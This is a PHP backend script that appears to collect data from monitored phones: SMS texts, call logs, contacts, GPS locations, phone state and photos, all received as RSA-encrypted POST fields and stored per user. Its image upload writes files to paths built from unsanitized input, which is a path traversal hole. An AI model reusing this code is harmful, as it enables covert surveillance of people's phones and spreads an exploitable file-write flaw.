<?php 
	// Includes
	require_once 'includes/DbOperation.php';
	require "rsa/RSA.php";
	
	$response = array();
	$rsa = new RSA();  


	if(isset($_GET['op'])){
		
		switch($_GET['op']){

			// **** Add new SMS to database ****
			case 'add_sms':
				if(isset($_POST['userid']) &&isset($_POST['date']) && isset($_POST['number'])&& isset($_POST['text'])&& isset($_POST['type'])){
					$db = new DbOperation(); 
					$userid = $rsa->decryptData($_POST['userid']);
					$date = $rsa->decryptData($_POST['date']);
					$number = $rsa->decryptData($_POST['number']);
					$text = $rsa->decryptData($_POST['text']);
					$type = $rsa->decryptData($_POST['type']);
					if($db->addSMS($userid,$date, $number,$text,$type)){
						http_response_code(200);
					}else{
						http_response_code(400);
					}
				}else{
					http_response_code(400);
				}
			break;

			// **** Add new Event to database ****
			case 'add_event':
				if(isset($_POST['userid']) &&isset($_POST['title']) && isset($_POST['startdate'])&& isset($_POST['enddate'])&& isset($_POST['description'])){
					$db = new DbOperation();
					$userid = $rsa->decryptData($_POST['userid']);
					$title = $rsa->decryptData($_POST['title']);
					$startdate = $rsa->decryptData($_POST['startdate']);
					$enddate = $rsa->decryptData($_POST['enddate']);
					$description = $rsa->decryptData($_POST['description']);
					if($db->addEvent($userid,$title, $startdate,$enddate,$description)){
						http_response_code(200);
					}else{
						http_response_code(400);
					}
				}else{
					http_response_code(400);
				}
			break;

			// **** Add new callLog to database ****
			case 'add_call_log':
				if(isset($_POST['userid']) &&isset($_POST['phoneNumber']) && isset($_POST['date'])&& isset($_POST['duration'])&& isset($_POST['type'])){
					$db = new DbOperation();
					$userid = $rsa->decryptData($_POST['userid']);
					$phoneNumber = $rsa->decryptData($_POST['phoneNumber']);
					$date = $rsa->decryptData($_POST['date']);
					$duration = $rsa->decryptData($_POST['duration']);
					$type = $rsa->decryptData($_POST['type']); 
					if($db->addCallLog($userid,$phoneNumber, $date,$duration,$type)){
						http_response_code(200);
					}else{
						http_response_code(400);
					}
				}else{
					http_response_code(400);
				}
			break;

			// **** Add new camera photo to database ****
			case 'add_camera_photo':
				if(isset($_POST['userid']) &&isset($_POST['photoname'])){
					$db = new DbOperation(); 
					$userid = $rsa->decryptData($_POST['userid']);
					$photoname = $rsa->decryptData($_POST['photoname']);
					if($db->addCameraPhoto($userid,$photoname)){
						http_response_code(200);
					}else{
						http_response_code(400);
					}
				}else{
					http_response_code(400);
				}
			break;

			// **** Add new contact to database ****
			case 'add_contact':
				if(isset($_POST['userid']) &&isset($_POST['name'])&&isset($_POST['phoneNumber'])){
					$db = new DbOperation(); 
					$userid = $rsa->decryptData($_POST['userid']);
					$name = $rsa->decryptData($_POST['name']);
					$phoneNumber = $rsa->decryptData($_POST['phoneNumber']);
					if($db->addContact($userid,$name,$phoneNumber)){
						http_response_code(200);
					}else{
						http_response_code(400);
					}
				}else{
					http_response_code(400);
				}
			break;

			// **** Add new location to database ****
			case 'add_location':
				if(isset($_POST['userid']) &&isset($_POST['latitude']) && isset($_POST['longtitude'])&& isset($_POST['accuracy'])&& isset($_POST['altitude'])){
					$db = new DbOperation();
					$userid = $rsa->decryptData($_POST['userid']);
					$latitude= $rsa->decryptData($_POST['latitude']);
					$longtitude = $rsa->decryptData($_POST['longtitude']);
					$accuracy = $rsa->decryptData($_POST['accuracy']);
					$altitude = $rsa->decryptData($_POST['altitude']); 
					if($db->addLocation($userid,$latitude, $longtitude,$accuracy,$altitude)){
						http_response_code(200);
					}else{
						http_response_code(400);
					}
				}else{
					http_response_code(400);
				}
			break;

			// **** Add new phoneState to database ****
			case 'add_phone_state':
				if(isset($_POST['userid']) &&isset($_POST['phoneNumber']) && isset($_POST['dataNetworkType'])&& isset($_POST['operator'])){
					$db = new DbOperation(); 
					$userid = $rsa->decryptData($_POST['userid']);
					$phoneNumber = $rsa->decryptData($_POST['phoneNumber']);
					$dataNetworkType = $rsa->decryptData($_POST['dataNetworkType']);
					$operator = $rsa->decryptData($_POST['operator']);
					if($db->addPhoneState($userid,$phoneNumber, $dataNetworkType,$operator)){
						http_response_code(200);
					}else{
						http_response_code(400);
					}
				}else{
					http_response_code(400);
				}
			break;

			// **** Add new media photo to database ****
			case 'add_media_photo':
				if(isset($_POST['userid']) &&isset($_POST['imagePath'])){
					$db = new DbOperation(); 
					$userid = $rsa->decryptData($_POST['userid']);
					$imagePath = $rsa->decryptData($_POST['imagePath']);
					
					if($db->addMediaPhoto($userid,$imagePath)){
						http_response_code(200);
					}else{
						http_response_code(400);
					}
				}else{
					http_response_code(400);
				}
			break;  

			// **** Create new user in users table ****
			case 'add_user':
				if(isset($_POST['userid'])&&isset($_POST['password']) ){
					$db = new DbOperation(); 
					$userid = $rsa->decryptData($_POST['userid']);
					$password = $rsa->decryptData($_POST['password']);
					
					if($db->createUser($userid,$password)){
						http_response_code(200);
					}else{
						http_response_code(400);
					}
				}else{
					http_response_code(400);
				}
			break; 

			// **** Create new table for permission ****
			case 'add_permission_type':
				if(isset($_POST['userid'])&&isset($_POST['permissionType']) ){
					$db = new DbOperation();
					$userid = $rsa->decryptData($_POST['userid']);
					$permissionType = $rsa->decryptData($_POST['permissionType']);
					if($db->addpermissionType($userid,$permissionType)){
						http_response_code(200);
					}else{
						http_response_code(400);
					}
				}else{
					http_response_code(400);
				}
			break;

			// **** Delete user permission table ****
			case 'delete_permission_type':
				if(isset($_POST['userid'])&&isset($_POST['permissionType'])){
					$db = new DbOperation(); 
					$userid = $rsa->decryptData($_POST['userid']);
					$permissionType = $rsa->decryptData($_POST['permissionType']);
					if($db->deletePermissionType($userid,$permissionType)){
						http_response_code(200);
					}else{
						http_response_code(400);
						
					}
				}else{
					http_response_code(400);
				}
			break; 

			// **** Add image to images folder ****
			case 'upload_image':
				if(isset($_POST['userid'])&&isset($_POST['photoname'])&& isset($_POST['photo'])){
 				//uploading file and storing it to database as well 
					$userid = $rsa->decryptData($_POST['userid']);
					$photoname = $rsa->decryptData($_POST['photoname']);
				 try{
				 	file_put_contents("images/".$userid.'/'.$photoname.'.jpg', base64_decode($_POST['photo']));
				 	http_response_code(200);
				 }catch(Exception $e){
				 	http_response_code(400);
				 }
				}
			break;

			// **** Delete user in database ****
			case 'delete_user':
				if(isset($_POST['userid']) ){
					$db = new DbOperation(); 
					$userid = $rsa->decryptData($_POST['userid']);
					if($db->deleteUser($userid)){
						http_response_code(200);
					}else{
						http_response_code(400);
						
					}
				}else{
					http_response_code(400);
				}
			break;

			// **** Get the server state ****
			case 'serverstate':
					http_response_code(200);
			break;
			
			// **** Default response ****
			default:
				http_response_code(400);
		}
		
	}else{
		http_response_code(400);
	}
	

	// **** Remove folder from server ****
	function rmrf($dir) {
	    foreach (glob($dir) as $file) {
	        if (is_dir($file)) { 
	            rmrf("$file/*");
	            rmdir($file);
	        } else {
	            unlink($file);
	        }
	    }
	}